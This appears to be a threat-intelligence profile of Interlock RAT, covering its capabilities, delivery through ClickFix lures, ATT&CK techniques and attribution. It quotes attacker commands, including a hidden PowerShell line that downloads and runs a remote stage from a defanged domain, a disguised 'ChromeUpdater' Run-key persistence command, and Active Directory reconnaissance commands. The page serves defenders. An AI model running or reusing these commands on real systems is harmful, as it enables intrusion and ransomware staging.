Interlock RAT
- Type
- RAT
- Capabilities
- ExfiltrationPersistenceLateral movementPost exploitationDefense evasionReconnaissance
- Delivery
- PhishingLanding pageFake updateClickfix
- Platforms
- LinuxWindows
Interlock RAT is a modular remote-access trojan associated with the Interlock ransomware ecosystem and observed since 2024. Implementations in Node.js, PHP, PowerShell, C/C++, Java, and JavaScript support Windows and Linux operations. The malware provides remote command execution, system and Active Directory reconnaissance, host fingerprinting, SOCKS proxying, reverse-shell capability, additional-payload delivery, and persistence. Observed Node.js variants collect host, account, privilege, domain, network, service, and process information; enumerate domain relationships and administrative groups; and search Active Directory computer descriptions for backup infrastructure, consistent with ransomware estate assessment. Variants have used user-level autorun persistence and scheduled tasks, while PHP variants have also been reported to support RDP-enabled lateral movement. Interlock RAT has been delivered through phishing, compromised websites, fake browser-update lures, and ClickFix/FileFix social engineering, including campaigns associated with the KongTuke traffic-distribution system. In observed ClickFix activity, victims were induced to execute obfuscated PowerShell that installed a legitimate runtime to run the RAT. Interlock RAT is associated with unauthorized remote access, reconnaissance, data exfiltration, and follow-on ransomware operations; activity has also been linked to the financially motivated cluster tracked as Hive0163. Specific operator identity cannot be established solely from malware-family attribution.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The payload is the Node.js variant of Interlock RAT. It fingerprinted the host, opened a raw TCP session to one of three hardcoded IPs on port 443 behind a four-byte magic header, carried its own SOCKS implementation, and ran a recon burst that ended on an LDAP query hunting for backup servers by description.
The framework has multiple implementations in PowerShell, PHP, C/C++, Java, and JavaScript to support both Windows and Linux. Like NodeSnake, it also communicates with a remote server to fetch commands that allow it to launch a SOCKS5 proxy tunnel, spawn a reverse shell on the infected machine, and deliver more payloads, such as Interlock ransomware and Slopoly.
...used a technique called FileFix to spread a PHP variant of Interlock RAT...
Techniques & procedures
26 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
Initial Access | T1189 - Drive-by Compromise On Day 1 of the attack, an end-user device was linked by a ChatGPT search for Dynamics 365 to a reputable web property that is believed to have been compromised at the time with a ClickFix lure.
At 00d 00:00:13, the threat actor engaged in a bit of social engineering, convincing the user to paste a certain command into a Run dialogue box.
Execution
8 techniques
Execution
cmd.exe /d /s /c "wmic process where processid=20716 get commandline"
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
Like NodeSnake, it also communicates with a remote server to fetch commands that allow it to launch a SOCKS5 proxy tunnel, spawn a reverse shell on the infected machine, and deliver more payloads.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm dnsgo-windowsds[.]live/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"
The malicious component on disk is a text file, debug.txt, which Node runs regardless of extension.
Compromised sites serve a filtered "Verify you are human" page that walks the visitor into pasting a command into the Run dialog.
The victim pastes and runs the command, which downloads and executes a second-stage payload.
Annotations ID Technique Tactic T1559 Inter-Process Communication Execution
Persistence
2 techniques
Persistence
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt
Privilege Escalation
2 techniques
Privilege Escalation
Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt
Stealth
3 techniques
Stealth
$s holds only the irm half and [string]::Join('|', $s, 'iex') assembles irm dnsgo-windowsds[.]live/nlOs24YoL|iex at runtime for the outer iex to run.
Persistence was an HKCU Run key named ChromeUpdater ... the value name borrows Chrome's updater.
"-w H hides the window."
Discovery
7 techniques
Discovery
A DirectorySearcher retrieves every computer object from Active Directory and examines each description for VB, VEEA, BCK, and BACK.
"C:\WINDOWS\system32\whoami.exe" / user ... / upn
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\WINDOWS\system32\tasklist.exe" / svc
"C:\WINDOWS\system32\whoami.exe" / groups ... "C:\WINDOWS\system32\net.exe" group "domain admins" / domain
The deobfuscated script builds a Systeminfo object holding the user's privilege level and the Windows version.
"C:\WINDOWS\system32\nltest.exe" / domain_trusts
Command and Control
5 techniques
Command and Control
C2 Servers (payload delivery)... port 3456 is consistent across the fleet... Additional C2s... TLSv1.0 encrypted C2... TCP backdoor.
The channel is a SOCKS proxy, so the operator can reach anything the workstation can.
"...allow it to launch a SOCKS5 proxy tunnel..."
The transport is a raw TCP socket on 443 with no TLS on top.
A hidden PowerShell one-liner ... pulled its next stage from dnsgo-windowsds[.]live.
Observables
62 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
13 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.